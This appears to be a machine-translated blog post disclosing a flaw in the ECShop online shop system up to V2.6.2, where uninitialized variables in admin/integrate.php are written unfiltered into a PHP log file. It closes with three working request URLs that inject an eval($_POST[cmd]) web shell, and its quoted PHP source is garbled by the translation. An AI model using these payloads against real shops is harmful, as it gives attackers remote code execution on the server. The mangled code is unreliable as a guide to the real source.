ECShop online shop System & amp; lt; = V2.6.2 webshell

ECSHOP is an open-source free online shop system. Upgraded and maintained by a professional development team to provide you with timely and efficient technical support. You can also customize ECSHOP based on your business characteristics to add special features of your mall. (Official introduction)

An injection vulnerability occurred in ECSHOP some time ago: Injection. Yesterday, Cola posted a post on t00ls. Net asking how to use shell. I am bored with baidu and google, and there seems to be no way to use shell on the Internet. I haven't read the code for a long time. I'm bored with reading the source code of the latest ECSHOP version (V2.6.2). Fortunately, I found a file that can directly write shell. Like injection, it is also a problem caused by uninitialized changes. Therefore, it can only be used in an environment where register_globals is on.

Starting from line 3 of integrate. php:

If ($ _ REQUEST [act] = sync)
{
$ Size = 100;

......

$ Tasks = array ();
If ($ task_del> 0)
{
$ Tasks [] = array (task_name => sprintf ($ _ LANG [task_del], $ task_del), task_status => <span id = "task_del">. $ _ LANG [task_uncomplete]. <span> );
$ SQL = "SELECT user_name FROM". $ ecs-> table (users). "WHERE flag = 2 ";
$ Del_list = $ db-> getCol ($ SQL); // $ del_list is not initialized. For details, see www.oldjun.com.
}

If ($ task_rename> 0)
{
$ Tasks [] = array (task_name => sprintf ($ _ LANG [task_rename], $ task_rename), task_status => <span id = "task_rename">. $ _ LANG [task_uncomplete]. </span> );
$ SQL = "SELECT user_name, alias FROM". $ ecs-> table (users). "WHERE flag = 3 ";
$ Rename_list = $ db-> getAll ($ SQL); // $ rename_list is not initialized. For more information, see www.oldjun.com.
}

If ($ task_ignore> 0)
{
$ SQL = "SELECT user_name FROM". $ ecs-> table (users). "WHERE flag = 4 ";
$ Ignore_list = $ db-> getCol ($ SQL); // $ ignore_list is not initialized. For more information, see www.oldjun.com.
}

......

/* Save the modification log */
$ Fp = @ fopen (ROOT_PATH. DATA_DIR./integrate _. $ _ SESSION [code]. _ log. php, wb );
$ Log =;
If (isset ($ del_list ))
{
$ Log. = $ del_list =. var_export ($ del_list, true ).;;
}
If (isset ($ rename_list ))
{
$ Log. = $ rename_list =. var_export ($ rename_list, true ).;;
}
If (isset ($ ignore_list ))
{
$ Log. = $ ignore_list =. var_export ($ ignore_list, true ).;;
}
// Log is directly written if no filter is performed. for reprinting, please indicate that the source is www.oldjun.com.
Fwrite ($ fp, $ log );
Fclose ($ fp );

$ Smarty-> assign (tasks, $ tasks );
$ Smarty-> assign (ur_here, $ _ LANG [user_sync]);
$ Smarty-> assign (size, $ size );
$ Smarty-> display(integrates_sync.htm );
}
$ Del_list, $ rename_list, and $ ignore_list are not initialized. Therefore, you can directly write the shell.

Usage:

Http://www.oldjun.com/admin/integrate.php? Act = sync & del_list = <? Php % 20 eval ($ _ POST [cmd])?>
Http://www.oldjun.com/admin/integrate.php? Act = sync & rename_list = <? Php % 20 eval ($ _ POST [cmd])?>
Http://www.oldjun.com/admin/integrate.php? Act = sync & ignore_list = <? Php % 20 eval ($ _ POST [cmd])?>
You can enter one of the three links to generate http://www.oldjun.com/data/integrate?log.php ~